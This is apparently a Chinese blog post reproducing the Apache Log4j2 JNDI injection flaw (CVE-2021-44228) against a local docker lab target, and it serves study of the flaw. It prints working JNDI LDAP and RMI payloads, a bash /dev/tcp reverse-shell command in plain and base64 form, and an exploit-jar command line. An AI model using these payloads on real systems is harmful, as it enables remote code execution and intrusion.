【漏洞复现】Apache Log4j2 (CVE-2021-44228)

一、原理:

本图借用:https://blog.csdn.net/hilaryfrank/article/details/121939902

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第1张图片

二、环境准备

1、靶场:http://vulfocus.fofa.so/#/dashboard(fofa出了点问题,暂时无法访问)

2、靶场:https://ctf.show/challenges

3、docker自建:

查找关于Log4j2的镜像

docker search Log4j2

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第2张图片

拉取一个dockers镜像

docker pull vulfocus/log4j2-rce-2021-12-09

运行image

docker run -tid -p 18080:8080 vulfocus/log4j2-rce-2021-12-09

复现完后可以用下面的命令清除docker image:

查看正在运行的docker:

docker ps -a

停止docker :

docker stop [CONTAINER ID]

清除所有停止的docker:

docker container prune

查看所有images:

docker images

删除image:

docker rmi [IMAGE ID]

三、漏洞验证

1、访问环境(这里用的docker环境)

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第3张图片

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第4张图片

这个环境是GET型的,不支持POST。

用下面的payload验证:

payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

注意GET提交的payload需要URL编码,否则会报400,我就是在这里卡了一下,还是要注意细节呀(看别人的环境都是POST)

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第5张图片

 

2、成功验证,dnslog成功回显

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第6张图片

四、反弹shell

1、首先准备反弹shell的命令。

bash -i >& /dev/tcp/192.168.1.179/8888 0>&1

2、然后将其base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTc5Lzg4ODggMD4mMQ==

3、然后使用工具,工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

运行下面命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTc5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.1.179"

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第7张图片

选择JDK没有版本号的的那个payload(看上图),可能不会受JDK版本的限制吧。

4、接下来再开一个窗口监听刚刚设置的端口

5、最后放入payload(GET方式需要URL编码)

payload=${jndi:rmi://192.168.1.179:1099/0arfwt}

6、执行payload后可以可以看到已经获取到shell了

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第8张图片

【漏洞复现】Apache Log4j2 (CVE-2021-44228)_第9张图片

五、总结

复现过程中出现了以下几个问题:

1、Java版本不对,第一次用的kali2.0,Java版本比较低,反弹shell的时候会提示warning,不允许反弹。安装新版本的Java就好了,这里我换了CentOs 7测试。

2、看别人复现的环境都是POST方式,我遇到的环境是GET方式,payload没有URL编码,导致无法验证成功。

3、我的命令是直接复制的,中间会出现多余空格的情况,导致不能反弹shell,所以还是要注意细节!注意细节!注意细节!

六、参考文献

https://www.adminxe.com/3077.html

https://www.cnblogs.com/0x200/p/15692319.html

你可能感兴趣的:(apache,docker,linux,log4j2)